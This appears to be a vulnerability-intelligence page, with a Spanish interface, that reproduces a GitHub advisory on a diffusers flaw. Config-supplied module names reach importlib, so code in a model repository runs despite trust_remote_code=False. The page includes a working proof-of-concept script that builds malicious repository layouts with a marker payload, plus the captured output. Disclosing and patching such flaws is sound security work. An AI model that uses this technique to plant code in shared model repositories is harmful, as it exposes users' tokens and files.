llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · diffusers

GHSA-4PRV-5HJ7-C2XR

RCE: a module name from a model repo's own config reaches importlib on from_pretrained(), with trust_remote_code=False

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.0
Alta
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición23 dDesde la divulgación, 27 oct 2026, 2:35 a. m.
Detección22 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 0.42.1
Monitoreo
Detectada +1
27 oct 26
18 nov 26
19 nov 26
27 oct 26
2 nov 26
8 nov 26
14 nov 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-4PRV-5HJ7-C2XR divulgada · CVSS 7 (GitHub)
Remediación Parche 0.42.1 diffusers · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

Two fields in a model repository are used as Python module paths and passed to the import machinery unvalidated, so a `.py` file shipped in that repository executes on a default-argument `from_pretrained()`.

  • `model_index.json` / `modular_model_index.json` → component `["<library>", "<class>"]`, element [0] → `importlib.import_module()` — `pipelines/pipeline_loading_utils.py:433` (same sink at `:390`, `:351`)
  • `modular_config.json` → `"requirements"` dict keys → `importlib.util.find_spec()` — `utils/import_utils.py:63`, via `modular_pipelines/modular_pipeline_utils.py:1013`

`trust_remote_code=False` and `DIFFUSERS_DISABLE_REMOTE_CODE=1` stop neither. No weights, no pickle, no `auto_map`.

Two separate patch points: fixing one leaves the other live.

Details

Version: `0.41.0` (clean `pip install diffusers==0.41.0`); also `main` @ `916a5791e`.

Entry points: `DiffusionPipeline.from_pretrained`, `AutoModel.from_pretrained`, `ModularPipeline.from_pretrained`, `ModularPipelineBlocks.from_pretrained` — all with default arguments.

Precondition: the repository directory must be importable from a `sys.path` root. True when the victim does `git clone` / `hf download --local-dir` and runs a script from the parent directory. Not reachable on a cold Hub-id load; `PYTHONSAFEPATH=1` blocks it.

Sink 1 — `pipelines/pipeline_loading_utils.py:422-433`. Three sibling branches consume the same artifact-supplied `library_name`; the middle one gates it, the `else` imports it:

elif component_folder and os.path.isfile(os.path.join(component_folder, library_name + ".py")):
    class_obj = get_class_from_dynamic_module(
        component_folder, module_file=library_name + ".py",
        class_name=class_name, trust_remote_code=trust_remote_code,   # gated
    )
else:
    library = importlib.import_module(library_name)                   # :433 — not gated

Same payload at `<component>/mycustom.py` is refused naming `trust_remote_code`; moved one directory up with a dotted name in the same JSON field, it executes.

The allow-list for this field already exists in the same file (`LOADABLE_CLASSES`, `:70-89`) and is already applied to it at `:1062-1064` — but only inside `DiffusionPipeline.download`, so the local-directory branch and the newer entry points never inherit it.

Sink 2 — `modular_pipelines/modular_pipeline.py:497-513`. The gate's own trigger is read from the attacker's file, so it is False and the gate never fires; the sink runs five lines earlier:

config = cls.load_config(pretrained_model_name_or_path, **hub_kwargs)
has_remote_code = "auto_map" in config and cls.__name__ in config["auto_map"]   # False — no auto_map shipped
trust_remote_code = resolve_trust_remote_code(..., has_remote_code)             # returns False, no raise
if "requirements" in config and config["requirements"] is not None:
    _ = _validate_requirements(config["requirements"])     # <-- executes here
class_ref = config["auto_map"][cls.__name__]               # KeyError: 'auto_map'
block_cls = get_class_from_dynamic_module(..., trust_remote_code=...)   # real gate, never reached

`_validate_requirements` strips whitespace and nothing else (`modular_pipeline_utils.py:1051`), then calls `find_spec`. `find_spec("a.b.c")` imports every parent, so a key one component deeper than the attacker's package runs that package's `__init__.py`.

Fix:
1. Validate `library_name` against `LOADABLE_CLASSES` / `diffusers.pipelines` immediately before each of the three `importlib.import_module` calls.
2. Resolve `requirements` keys with `importlib.metadata` instead of `importlib.util.find_spec`, so an artifact-derived name never reaches the import system. A PEP 503 name check alone is not enough — `evilrepo.evilpkg.anything` is a legal distribution name.

Both implemented and verified here; happy to open a PR.

Proof of concept

Runs on a clean install. Both sinks, kill switch deliberately ON.

python3 -m venv v
v/bin/pip install "diffusers==0.41.0" torch transformers safetensors
mkdir repro && cd repro

PAYLOAD='import os, subprocess
open(os.environ["M"], "a").write("EXECUTED %s | DIFFUSERS_DISABLE_REMOTE_CODE=%r | id: %s\n" % (
    __name__, os.environ.get("DIFFUSERS_DISABLE_REMOTE_CODE"),
    subprocess.run(["/bin/sh","-c","id"], capture_output=True, text=True).stdout.strip()))'

# sink 1: model_index.json component "library" -> importlib.import_module
mkdir -p evilrepo/unet
printf '%s\n' "$PAYLOAD" > evilrepo/payload.py
cat > evilrepo/model_index.json <<'EOF'
{"_class_name": "StableDiffusionPipeline", "_diffusers_version": "0.41.0",
 "unet": ["evilrepo.payload", "UNet2DConditionModel"]}
EOF
echo '{"_class_name": "UNet2DConditionModel"}' > evilrepo/unet/config.json

# sink 2: modular_config.json "requirements" KEY -> importlib.util.find_spec
mkdir -p evilrepoB/evilpkg
printf '%s\n' "$PAYLOAD" > evilrepoB/evilpkg/__init__.py
cat > evilrepoB/modular_config.json <<'EOF'
{"_class_name": "SequentialPipelineBlocks", "_diffusers_version": "0.41.0",
 "requirements": {"evilrepoB.evilpkg.anything": ">=1.0"}}
EOF

M=/tmp/ace_A HF_HUB_OFFLINE=1 DIFFUSERS_DISABLE_REMOTE_CODE=1 ../v/bin/python -c "
from diffusers import DiffusionPipeline
try: DiffusionPipeline.from_pretrained('evilrepo')
except Exception as e: print('victim saw:', type(e).__name__, str(e)[:110])"
cat /tmp/ace_A

M=/tmp/ace_B HF_HUB_OFFLINE=1 DIFFUSERS_DISABLE_REMOTE_CODE=1 ../v/bin/python -c "
from diffusers.modular_pipelines import ModularPipelineBlocks
try: ModularPipelineBlocks.from_pretrained('./evilrepoB', trust_remote_code=False)
except Exception as e: print('victim saw:', type(e).__name__, str(e)[:110])"
cat /tmp/ace_B

Output, on diffusers 0.41.0 / torch 2.14.1 / transformers 5.20.1 / huggingface_hub 1.33.0 / CPython 3.12.13 / macOS arm64, 2026-10-17:

=== sink 1 ===
victim saw: AttributeError module 'evilrepo.payload' has no attribute 'UNet2DConditionModel'
EXECUTED evilrepo.payload | DIFFUSERS_DISABLE_REMOTE_CODE='1' | id: uid=501(...) gid=20(staff) ...

=== sink 2 ===
Downloading remote code is disabled globally via the DIFFUSERS_DISABLE_REMOTE_CODE environment variable. Ignoring `trust_remote_code`.
evilrepoB.evilpkg.anything was specified in the requirements but wasn't found in the current environment.
victim saw: KeyError 'auto_map'
EXECUTED evilrepoB.evilpkg | DIFFUSERS_DISABLE_REMOTE_CODE='1' | id: uid=501(...) gid=20(staff) ...

The exception arrives after the module body has run — it is the load failing on the attacker's class, not a refusal. Via `ModularPipeline.from_pretrained`, sink 1 returns normally with no exception or warning.

Impact

Arbitrary code execution as the victim's uid, at `from_pretrained()` time, before any weight is read. The payload ran `/bin/sh -c id` and the output is in the evidence above — so: the HF token in `~/.cache/huggingface`, read/write on the victim's source tree and model cache, outbound network, persistence.

The victim is anyone who clones or `--local-dir` downloads a community pipeline and runs a script from that working tree. They get this with `trust_remote_code` at its default or explicitly `False`, with `DIFFUSERS_DISABLE_REMOTE_CODE=1` set, and with no weights loaded at all — so `use_safetensors=True` and a pinned `revision` are not in the path either.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:L
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:R
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
diffusers≤ 0.42.0
0.42.0
0.43.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypidiffusers
Corregida 0.42.1 0 d 0.43.0 no afectada
Versiones corregidas0.42.1
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/huggingface/diffusers/security/advisories/GHSA-4prv-5hj7-c2xr

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.